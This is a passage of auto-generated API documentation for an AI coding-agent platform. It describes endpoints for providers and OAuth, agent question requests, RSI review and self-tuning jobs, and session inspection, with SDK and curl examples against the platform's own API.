const result = await client.agent.prompt.agentPromptSync({
  parts: [
    { type: "text", text: "Write unit tests for the billing service." }
  ],
  sessionID: "5f9b3a2e1c8d4f0001a2b3c4",
  model: {
    providerID: "openai",
    modelID: "gpt-4o"
  },
  autoApprove: true,
  agent: "build",
  workspace: "ws_01HXYZABCDEF",
  directory: "/Users/me/projects/billing"
});
```

```bash
curl -X POST "https://api.hoody.com/api/v1/agent/prompt/sync" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "parts": [
      { "type": "text", "text": "Write unit tests for the billing service." }
    ],
    "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
    "model": { "providerID": "openai", "modelID": "gpt-4o" },
    "autoApprove": true
  }'
```


The `/sync` variant is convenient for batch jobs and one-shot scripts where you do not need streaming output. For interactive UIs, prefer the standard `POST /api/v1/agent/prompt` and consume the SSE stream to render tokens as they arrive.

---

# Agent: Providers

**Page:** api/agent/providers

[Download Raw Markdown](./api/agent/providers.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Agent: Providers

List available LLM providers, retrieve supported authentication methods, and complete OAuth authorization flows for connecting providers to a workspace.

### `GET /api/v1/workspaces/{workspaceID}/providers`

Get a list of all available AI providers, including both available and connected ones. Returns the full provider catalog, the default model mapping, and which providers are currently connected in the workspace.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "all": [
    {
      "name": "Anthropic",
      "env": ["ANTHROPIC_API_KEY"],
      "id": "anthropic",
      "npm": "@ai-sdk/anthropic",
      "api": "https://api.anthropic.com",
      "models": {}
    },
    {
      "name": "OpenAI",
      "env": ["OPENAI_API_KEY"],
      "id": "openai",
      "npm": "@ai-sdk/openai",
      "api": "https://api.openai.com/v1",
      "models": {}
    }
  ],
  "default": {
    "anthropic": "claude-sonnet-4-20250514",
    "openai": "gpt-4o"
  },
  "connected": ["anthropic"]
}
```



#### SDK usage

```ts
const providers = await client.agent.providers.list({
  workspaceID: "ws_01HXYZABCDEF"
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/providers/auth`

Retrieve the available authentication methods for all AI providers. Returns a map keyed by provider ID, where each value is an array of supported auth methods (OAuth, API key, etc.).

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "anthropic": [
    { "type": "api", "label": "API Key" }
  ],
  "openai": [
    { "type": "api", "label": "API Key" }
  ],
  "google": [
    { "type": "oauth", "label": "Google OAuth" },
    { "type": "api", "label": "API Key" }
  ]
}
```



#### SDK usage

```ts
const methods = await client.agent.providers.getAuthMethods({
  workspaceID: "ws_01HXYZABCDEF"
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/providers/{providerID}/oauth/authorize`

Initiate OAuth authorization for a specific AI provider. Returns the authorization URL the user should be redirected to, the method used (`auto` or `code`), and any user-facing instructions.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `providerID` | path | string | Yes | Provider ID |
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `method` | number | Yes | Auth method index |

```json
{
  "method": 0
}
```

#### Response



```json
{
  "url": "https://accounts.google.com/o/oauth2/v2/auth?client_id=1234567890&redirect_uri=https%3A%2F%2Fhoody.com%2Fcallback&scope=openid+email+profile&response_type=code",
  "method": "auto",
  "instructions": "Visit the URL to grant access. You will be redirected back automatically."
}
```



```json
{
  "data": null,
  "errors": [
    {
      "field": "method",
      "message": "Auth method index is out of range"
    }
  ],
  "success": false
}
```



#### SDK usage

```ts
const auth = await client.agent.providers.authorizeOAuth({
  workspaceID: "ws_01HXYZABCDEF",
  providerID: "google",
  data: {
    method: 0
  }
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/providers/{providerID}/oauth/callback`

Handle the OAuth callback from a provider after the user completes authorization. Exchanges the authorization code for an access token and connects the provider to the workspace.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `providerID` | path | string | Yes | Provider ID |
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `method` | number | Yes | Auth method index |
| `code` | string | No | OAuth authorization code |

```json
{
  "method": 0,
  "code": "4/0AQlEd8xCjYYSAMPLE_CODE_HERE"
}
```

#### Response



```json
true
```



```json
{
  "data": null,
  "errors": [
    {
      "field": "code",
      "message": "Invalid or expired authorization code"
    }
  ],
  "success": false
}
```



#### SDK usage

```ts
const connected = await client.agent.providers.callbackOAuth({
  workspaceID: "ws_01HXYZABCDEF",
  providerID: "google",
  data: {
    method: 0,
    code: "4/0AQlEd8xCjYYSAMPLE_CODE_HERE"
  }
});
```

---

# Agent: Questions

**Page:** api/agent/questions

[Download Raw Markdown](./api/agent/questions.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Agent: Questions

The Questions API manages inter-session question requests generated by the AI agent. Use these endpoints to list pending questions, reply with user selections, reject questions, or consult a separate AI model for an automated recommendation.

---

### `GET /api/v1/workspaces/{workspaceID}/questions`

Get all pending question requests across all sessions.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
[
  {
    "id": "que_a1b2c3d4e5f6g7h8i9j0k1l2",
    "sessionID": "5f9e3c2a1b8d4f7e6a5b3c2d1e",
    "questions": [
      {
        "question": "Which authentication method should the new service use?",
        "header": "Auth method",
        "options": [
          {
            "label": "OAuth 2.0",
            "description": "Industry standard, supports delegated authorization"
          },
          {
            "label": "API Keys",
            "description": "Simple to implement, ideal for server-to-server"
          },
          {
            "label": "JWT tokens",
            "description": "Stateless, no session storage required"
          }
        ],
        "multiple": false,
        "custom": true
      }
    ],
    "tool": {
      "messageID": "msg_8x7y6z5w4v3u2t1s0r9q8p7o",
      "callID": "call_3a4b5c6d7e8f9g0h1i2j3k4l"
    }
  }
]
```



#### SDK usage

```ts
const questions = await client.agent.questions.list({
  workspaceID: "ws_5f9e3c2a1b8d4f7e6a5b3c2d",
});
```

```bash
curl -X GET "https://api.hoody.com/api/v1/workspaces/ws_5f9e3c2a1b8d4f7e6a5b3c2d/questions" \
  -H "Authorization: Bearer <token>"
```

---

### `POST /api/v1/workspaces/{workspaceID}/questions/{requestID}/consult`

Ask a separate AI model for advice on how to answer a pending question. This is a stateless one-shot call — no session is created and the parent agent is unaware of the consultation.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `requestID` | path | string | Yes | Question request identifier |
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Request body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `providerID` | string | Yes | Identifier of the AI provider to consult |
| `modelID` | string | Yes | Identifier of the model to consult |
| `note` | string | No | Additional context for the consultant model |
| `questionIndex` | integer | No | Index of a specific question within the request to consult on (0-based) |
| `system` | string | No | Custom system prompt to guide the consultation |

```json
{
  "providerID": "anthropic",
  "modelID": "claude-sonnet-4-20250514",
  "note": "The project uses a microservices architecture with strict compliance requirements",
  "questionIndex": 0,
  "system": "You are advising on a software architecture decision. Be concise."
}
```

#### Response



```json
{
  "recommendation": ["OAuth 2.0"],
  "reasoning": "OAuth 2.0 provides the strongest security guarantees for a multi-tenant API while supporting future integrations with third-party clients without requiring significant rework.",
  "confidence": "high",
  "usage": {
    "promptTokens": 312,
    "completionTokens": 88,
    "totalTokens": 400
  }
}
```


```json
{
  "data": null,
  "errors": [
    {
      "providerID": "Invalid provider identifier"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Question request que_a1b2c3d4e5f6g7h8i9j0k1l2 not found"
  }
}
```


```json
{
  "error": "Model returned invalid structured output: missing 'confidence' field"
}
```


```json
{
  "error": "Rate limit exceeded for consult endpoint",
  "retryAfterMs": 1500
}
```



#### SDK usage

```ts
const result = await client.agent.questions.consult({
  workspaceID: "ws_5f9e3c2a1b8d4f7e6a5b3c2d",
  requestID: "que_a1b2c3d4e5f6g7h8i9j0k1l2",
  data: {
    providerID: "anthropic",
    modelID: "claude-sonnet-4-20250514",
    note: "The project uses a microservices architecture with strict compliance requirements",
    questionIndex: 0,
    system: "You are advising on a software architecture decision. Be concise.",
  },
});
```

```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/ws_5f9e3c2a1b8d4f7e6a5b3c2d/questions/que_a1b2c3d4e5f6g7h8i9j0k1l2/consult" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "providerID": "anthropic",
    "modelID": "claude-sonnet-4-20250514",
    "note": "The project uses a microservices architecture with strict compliance requirements"
  }'
```

---

### `POST /api/v1/workspaces/{workspaceID}/questions/{requestID}/reject`

Reject a question request from the AI assistant. The request is marked as declined and the originating session is notified.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `requestID` | path | string | Yes | Question request identifier |
| `workspaceID` | path | string | Yes | Workspace identifier |

This endpoint takes no parameters in the path beyond those listed above and accepts no request body.

#### Response



```json
true
```


```json
{
  "data": null,
  "errors": [
    {
      "requestID": "Question request is already resolved"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Question request que_a1b2c3d4e5f6g7h8i9j0k1l2 not found"
  }
}
```



#### SDK usage

```ts
const rejected = await client.agent.questions.reject({
  workspaceID: "ws_5f9e3c2a1b8d4f7e6a5b3c2d",
  requestID: "que_a1b2c3d4e5f6g7h8i9j0k1l2",
});
```

```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/ws_5f9e3c2a1b8d4f7e6a5b3c2d/questions/que_a1b2c3d4e5f6g7h8i9j0k1l2/reject" \
  -H "Authorization: Bearer <token>"
```

---

### `POST /api/v1/workspaces/{workspaceID}/questions/{requestID}/reply`

Provide answers to a question request from the AI assistant. Answers are supplied as an array of selections, ordered to match the questions in the request.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `requestID` | path | string | Yes | Question request identifier |
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Request body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `answers` | array | Yes | User answers in order of questions. Each answer is an array of selected `label` strings. |

```json
{
  "answers": [
    ["OAuth 2.0"],
    ["PostgreSQL", "Redis"]
  ]
}
```


Each `answers` entry corresponds to a question in the same order returned by the list endpoint. The inner array contains the `label` values of the selected `options`. When `custom` is enabled on a question, free-text labels may also be provided.


#### Response



```json
true
```


```json
{
  "data": null,
  "errors": [
    {
      "answers": "Number of answers does not match number of questions"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Question request que_a1b2c3d4e5f6g7h8i9j0k1l2 not found"
  }
}
```



#### SDK usage

```ts
const replied = await client.agent.questions.reply({
  workspaceID: "ws_5f9e3c2a1b8d4f7e6a5b3c2d",
  requestID: "que_a1b2c3d4e5f6g7h8i9j0k1l2",
  data: {
    answers: [
      ["OAuth 2.0"],
      ["PostgreSQL", "Redis"],
    ],
  },
});
```

```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/ws_5f9e3c2a1b8d4f7e6a5b3c2d/questions/que_a1b2c3d4e5f6g7h8i9j0k1l2/reply" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "answers": [
      ["OAuth 2.0"],
      ["PostgreSQL", "Redis"]
    ]
  }'
```

---

# Agent: RSI & Self-Tuning

**Page:** api/agent/rsi-tuning

[Download Raw Markdown](./api/agent/rsi-tuning.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Agent RSI & Self-Tuning API powers two related self-improvement subsystems that run as background jobs with Server-Sent Events (SSE) progress streaming. Use these endpoints to start RSI (Recursive Self-Improvement) review passes and self-tuning runs against a session, then subscribe to the returned job's stream endpoint for live progress events.


The `*.stream` endpoints are GET requests that hold open a `text/event-stream` connection. Each emits a snapshot first (so late subscribers see current state) followed by live events. If the job is already terminal, the server emits the completion event and closes the connection.


## RSI (Recursive Self-Improvement)

The RSI subsystem runs a "Reviewer-Selected-Improvement" pass over a session transcript. Each configured reviewer model reads the transcript and emits findings. Start a review to receive a `jobID`, then stream that job for progress.

### Start an RSI review

`POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/rsi/review`

Fan out a Reviewer-Selected-Improvement pass: each configured reviewer model reads the session transcript and emits findings. Returns a queued `jobID`; subscribe to `/rsi/runs/{jobID}/stream` for progress and final output.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier. |
| `sessionID` | path | string | Yes | Session identifier. |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `focus` | string | No | Optional focus instructions appended to each reviewer prompt. Max 10K chars. |
| `reviewers` | array | No | Reviewers to run for this call. Each entry is either a string (filter by name into config) or an inline object that overrides config fields per-call. Omit to use all configured reviewers. Max 20 entries. |

When `reviewers` entries are inline objects, each accepts `name` (required, 1-64 chars), `model` (optional, `providerID/modelID` format), `fallbacks` (optional, up to 5 fallback models tried in order), and `prompt` (optional, overrides the configured prompt for this call only).

#### Example



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/ws_alpha/sessions/sess_42/rsi/review" \
  -H "Authorization: Bearer $HOODY_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "focus": "Focus on tool-call efficiency and final-answer correctness.",
    "reviewers": [
      "accuracy",
      { "name": "clarity", "prompt": "Be terse; max 200 words per finding." }
    ]
  }'
```


```ts
const { jobID, sessionID, status } = await client.agent.rsi.rsiReviewStart({
  workspaceID: "ws_alpha",
  sessionID: "sess_42",
  data: {
    focus: "Focus on tool-call efficiency and final-answer correctness.",
    reviewers: [
      "accuracy",
      { name: "clarity", prompt: "Be terse; max 200 words per finding." }
    ]
  }
});
```


```json
{
  "jobID": "rsi_01HQZ9X7K4G3D7M5B6V2R8NJTQ",
  "sessionID": "sess_42",
  "status": "queued"
}
```


```json
{
  "error": "RSI reviews are disabled for this workspace."
}
```


```json
{
  "error": "Rate limit exceeded; retry later.",
  "retryAfterMs": 30000
}
```



### Stream RSI review progress

`GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/rsi/runs/{jobID}/stream`

Server-sent-events stream of progress events for an RSI review job. Emits a snapshot first (so late subscribers see current state), then live events; if the job is already terminal, emits the completion event and closes.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier. |
| `sessionID` | path | string | Yes | Session identifier. |
| `jobID` | path | string | Yes | Job identifier returned from the start endpoint. |

#### Example



```bash
curl -N "https://api.hoody.com/api/v1/workspaces/ws_alpha/sessions/sess_42/rsi/runs/rsi_01HQZ9X7K4G3D7M5B6V2R8NJTQ/stream" \
  -H "Authorization: Bearer $HOODY_API_KEY" \
  -H "Accept: text/event-stream"
```


```ts
const stream = await client.agent.rsi.rsiStream({
  workspaceID: "ws_alpha",
  sessionID: "sess_42",
  jobID: "rsi_01HQZ9X7K4G3D7M5B6V2R8NJTQ"
});

for await (const event of stream) {
  console.log(event.event, event.data);
}
```


```text
event: snapshot
data: {"jobID":"rsi_01HQZ9X7K4G3D7M5B6V2R8NJTQ","status":"running","completedReviewers":1,"totalReviewers":3}

event: reviewer.progress
data: {"reviewer":"accuracy","status":"done","findings":4}

event: done
data: {"jobID":"rsi_01HQZ9X7K4G3D7M5B6V2R8NJTQ","status":"succeeded","totalFindings":11}
```



## Self-Tuning

The self-tuning subsystem runs verifier-driven improvement loops on a session. Two modes are available:

- `tune` — single iterative loop, capped at 20 iterations.
- `amplify` — best-of-N loop with majority voting (N must be odd, max 11).

Both return a `jobID`; stream that job's progress via `/self-tuning/runs/{jobID}/stream`.

### Start a self-tuning tune run

`POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/self-tuning/tune`

Run a single-iteration self-tuning loop against the session's verifier. Returns a queued `jobID`; subscribe to `/self-tuning/runs/{jobID}/stream` for progress and final output.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier. |
| `sessionID` | path | string | Yes | Session identifier. |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `task` | string | Yes | The task / goal description for the tune run. Max 100K chars. |
| `verifier_name` | string | Yes | Name of a configured verifier program. Max 128 chars. |
| `max_iterations` | integer | No | Cap on iteration count (1-20). |
| `model` | object | No | Override the worker LLM for this call only. Requires `providerID` and `modelID`; both must already be configured or registered via `PATCH /config` beforehand. |

#### Example



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/ws_alpha/sessions/sess_42/self-tuning/tune" \
  -H "Authorization: Bearer $HOODY_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "task": "Reduce average tool-call latency below 1.2s while preserving task success rate.",
    "verifier_name": "perf_v1",
    "max_iterations": 8,
    "model": { "providerID": "openai", "modelID": "gpt-4o-mini" }
  }'
```


```ts
const { jobID, sessionID, status } = await client.agent.selfTuning.selfTuningTuneStart({
  workspaceID: "ws_alpha",
  sessionID: "sess_42",
  data: {
    task: "Reduce average tool-call latency below 1.2s while preserving task success rate.",
    verifier_name: "perf_v1",
    max_iterations: 8,
    model: { providerID: "openai", modelID: "gpt-4o-mini" }
  }
});
```


```json
{
  "jobID": "tune_01HQZA3K8N5F2P4Q7M9B6V3WYX",
  "sessionID": "sess_42",
  "status": "queued"
}
```


```json
{
  "error": "Self-tuning is not enabled for this workspace."
}
```


```json
{
  "error": "Rate limit exceeded; retry later.",
  "retryAfterMs": 60000
}
```



### Start a self-tuning amplify run

`POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/self-tuning/amplify`

Run a best-of-N amplify loop against the session's verifier (N must be odd, max 11, for majority voting). Returns a queued `jobID`; subscribe to `/self-tuning/runs/{jobID}/stream` for progress.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier. |
| `sessionID` | path | string | Yes | Session identifier. |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `task` | string | Yes | The task / goal description for the amplify run. Max 100K chars. |
| `verifier_name` | string | Yes | Name of a configured verifier program. Max 128 chars. |
| `n` | integer | Yes | Number of trials (odd, max 11) for majority voting. |
| `model` | object | No | Override the worker LLM for this call only. Requires `providerID` and `modelID`; both must already be configured or registered via `PATCH /config` beforehand. |

#### Example



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/ws_alpha/sessions/sess_42/self-tuning/amplify" \
  -H "Authorization: Bearer $HOODY_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "task": "Generate a SQL query that lists the top 10 customers by lifetime spend.",
    "verifier_name": "sql_v1",
    "n": 5,
    "model": { "providerID": "anthropic", "modelID": "claude-3-5-sonnet" }
  }'
```


```ts
const { jobID, sessionID, status } = await client.agent.selfTuning.selfTuningAmplifyStart({
  workspaceID: "ws_alpha",
  sessionID: "sess_42",
  data: {
    task: "Generate a SQL query that lists the top 10 customers by lifetime spend.",
    verifier_name: "sql_v1",
    n: 5,
    model: { providerID: "anthropic", modelID: "claude-3-5-sonnet" }
  }
});
```


```json
{
  "jobID": "amp_01HQZB5M2P7H4R6T9K1C8X4ZGB",
  "sessionID": "sess_42",
  "status": "queued"
}
```



### Stream self-tuning run progress

`GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/self-tuning/runs/{jobID}/stream`

Server-sent-events stream of progress events for a self-tuning tune or amplify job. Emits a snapshot first (so late subscribers see current state), then live events; if the job is already terminal, emits the completion event and closes.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier. |
| `sessionID` | path | string | Yes | Session identifier. |
| `jobID` | path | string | Yes | Job identifier returned from the tune or amplify start endpoint. |

#### Example



```bash
curl -N "https://api.hoody.com/api/v1/workspaces/ws_alpha/sessions/sess_42/self-tuning/runs/tune_01HQZA3K8N5F2P4Q7M9B6V3WYX/stream" \
  -H "Authorization: Bearer $HOODY_API_KEY" \
  -H "Accept: text/event-stream"
```


```ts
const stream = await client.agent.selfTuning.selfTuningStream({
  workspaceID: "ws_alpha",
  sessionID: "sess_42",
  jobID: "tune_01HQZA3K8N5F2P4Q7M9B6V3WYX"
});

for await (const event of stream) {
  console.log(event.event, event.data);
}
```


```text
event: snapshot
data: {"jobID":"tune_01HQZA3K8N5F2P4Q7M9B6V3WYX","status":"running","iteration":3,"maxIterations":8}

event: iteration.done
data: {"iteration":3,"verifierScore":0.82,"bestSoFar":true}

event: done
data: {"jobID":"tune_01HQZA3K8N5F2P4Q7M9B6V3WYX","status":"succeeded","bestScore":0.91}
```

---

# Agent: Sessions

**Page:** api/agent/sessions

[Download Raw Markdown](./api/agent/sessions.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Agent Sessions API exposes the full lifecycle of an agent session: browsing live sessions, creating and configuring sessions, sending prompts and commands, inspecting messages and parts, managing diffs/todos/tags, and performing session-level actions like abort, revert, fork, summarize, and delete.

All session-scoped operations are keyed by a workspace identifier (`workspaceID` — 24-character lowercase hex) and, where applicable, a session identifier (`sessionID`).

## Sessions wall (HTML)

These endpoints return an HTML view of live agent sessions, intended for iframe embedding in dashboards.

### `GET /api/v1/agent/all`

Alias for `/api/v1/agent/sessions/live`. Renders the HTML sessions wall.



```bash
curl "https://api.hoody.com/api/v1/agent/all?workspace=5f9f5c5e7b1e0c0001a2b3c4&limit=50"
```


```ts
await client.agent.sessions.listAll({
  workspace: "5f9f5c5e7b1e0c0001a2b3c4",
  limit: "50",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspace` | query | string | No | |
| `directory` | query | string | No | |
| `readonly` | query | string | No | |
| `read_only` | query | string | No | |
| `cardWidth` | query | string | No | |
| `limit` | query | string | No | |
| `sub` | query | string | No | |
| `archived` | query | string | No | |
| `containerId` | query | string | No | |
| `projectId` | query | string | No | |
| `serverNode` | query | string | No | |
| `containerAlias` | query | string | No | |

### Response



Returns an HTML page representing the sessions wall.



---

### `GET /api/v1/agent/sessions/live`

Renders an HTML page showing live agent sessions, designed for iframe embedding.



```bash
curl "https://api.hoody.com/api/v1/agent/sessions/live?workspace=5f9f5c5e7b1e0c0001a2b3c4"
```


```ts
await client.agent.sessions.listLive({
  workspace: "5f9f5c5e7b1e0c0001a2b3c4",
});
```



### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspace` | query | string | No | — |
| `directory` | query | string | No | — |
| `readonly` | query | string | No | — |
| `read_only` | query | string | No | — |
| `cardWidth` | query | string | No | — |
| `limit` | query | string | No | — |
| `sub` | query | string | No | — |
| `archived` | query | string | No | — |
| `containerId` | query | string | No | — |
| `projectId` | query | string | No | — |
| `serverNode` | query | string | No | — |
| `containerAlias` | query | string | No | — |


### Response



Returns an HTML page representing the sessions wall.



---

## List and inspect sessions

### `GET /api/v1/workspaces/{workspaceID}/sessions`

Returns a paginated list of all sessions in a workspace, newest-first by session ID.



```bash
curl "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions?page=1&limit=50&roots=true"
```


```ts
await client.agent.sessions.list({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  page: 1,
  limit: 50,
  roots: true,
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `page` | query | integer | No | Page number (1-indexed). Default: `1` |
| `limit` | query | integer | No | Items per page (max 200). Default: `50` |
| `roots` | query | boolean | No | Only return root sessions (no parentID) |
| `search` | query | string | No | Filter by title (case-insensitive) |

### Response



```json
{
  "items": [
    {
      "id": "5fa1bd2e9c1d2c0001b2a3f4",
      "slug": "refactor-auth-flow",
      "projectID": "5f9f5c5e7b1e0c0001a2b3c4",
      "directory": "/home/user/projects/app",
      "parentID": null,
      "summary": {
        "additions": 142,
        "deletions": 38,
        "files": 7,
        "diffs": []
      },
      "title": "Refactor auth flow",
      "version": "v1.2.3",
      "time": {
        "created": 1731000000000,
        "updated": 1731000450000,
        "compacting": 0,
        "archived": 0
      },
      "permission": [
        { "permission": "edit", "pattern": "*", "action": "allow" }
      ],
      "metadata": {},
      "revert": {
        "messageID": "msg_01HXY...",
        "partID": "prt_01HXY...",
        "snapshot": "snap_abc",
        "diff": "diff --git ..."
      }
    }
  ],
  "meta": {
    "page": 1,
    "limit": 50,
    "total": 124,
    "pages": 3
  }
}
```



---

### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}`

Retrieve a single session by ID within the workspace.



```bash
curl "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123"
```


```ts
await client.agent.sessions.get({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Response



```json
{
  "id": "5fa1bd2e9c1d2c0001b2a3f4",
  "slug": "refactor-auth-flow",
  "projectID": "5f9f5c5e7b1e0c0001a2b3c4",
  "directory": "/home/user/projects/app",
  "parentID": null,
  "summary": {
    "additions": 142,
    "deletions": 38,
    "files": 7,
    "diffs": []
  },
  "title": "Refactor auth flow",
  "version": "v1.2.3",
  "time": {
    "created": 1731000000000,
    "updated": 1731000450000,
    "compacting": 0,
    "archived": 0
  },
  "permission": [
    { "permission": "edit", "pattern": "*", "action": "allow" }
  ],
  "metadata": {
    "featureFlag": "auth-v2"
  },
  "revert": {
    "messageID": "msg_01HXY...",
    "partID": "prt_01HXY...",
    "snapshot": "snap_abc",
    "diff": "diff --git a/..."
  }
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/children`

Retrieve all sessions forked from the specified parent.



```bash
curl "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/children"
```


```ts
await client.agent.sessions.getChildren({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Response



```json
{
  "items": [
    {
      "id": "5fa1bd2e9c1d2c0001b2a3f5",
      "slug": "refactor-auth-flow-experiment-1",
      "projectID": "5f9f5c5e7b1e0c0001a2b3c4",
      "directory": "/home/user/projects/app",
      "parentID": "5fa1bd2e9c1d2c0001b2a3f4",
      "summary": {
        "additions": 24,
        "deletions": 10,
        "files": 2,
        "diffs": []
      },
      "title": "Refactor auth flow — experiment 1",
      "version": "v1.2.3",
      "time": {
        "created": 1731000500000,
        "updated": 1731000700000,
        "compacting": 0,
        "archived": 0
      },
      "permission": [
        { "permission": "edit", "pattern": "*", "action": "ask" }
      ],
      "metadata": {},
      "revert": {
        "messageID": "msg_01HXY..."
      }
    }
  ]
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `GET /api/v1/workspaces/{workspaceID}/sessions/status`

Retrieve the current status of every session in the workspace (active, idle, retry, busy).



```bash
curl "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/status"
```


```ts
await client.agent.sessions.getStatuses({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |

### Response



```json
{
  "ses_01HXY123": { "type": "busy" },
  "ses_01HXY124": { "type": "idle" },
  "ses_01HXY125": {
    "type": "retry",
    "attempt": 2,
    "message": "Provider returned 503",
    "next": 1731000800000
  }
}
```



---

## Session insights: summary, diff, todos, tags

### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/summary`

Retrieve a lightweight summary: title, token/cost totals, file change stats, and the last message snippet. `O(messages)` reads with no AI call triggered.



```bash
curl "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/summary"
```


```ts
await client.agent.sessions.getSummary({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Response



```json
{
  "sessionID": "ses_01HXY123",
  "title": "Refactor auth flow",
  "messageCount": 42,
  "tokens": {
    "total": 87420,
    "input": 41200,
    "output": 30120,
    "reasoning": 9100,
    "cache": {
      "read": 3800,
      "write": 5200
    }
  },
  "cost": 0.1842,
  "files": 7,
  "additions": 142,
  "deletions": 38,
  "lastMessage": {
    "role": "assistant",
    "snippet": "I've finished wiring the OAuth callback handler.",
    "time": 1731000450000
  },
  "time": {
    "created": 1731000000000,
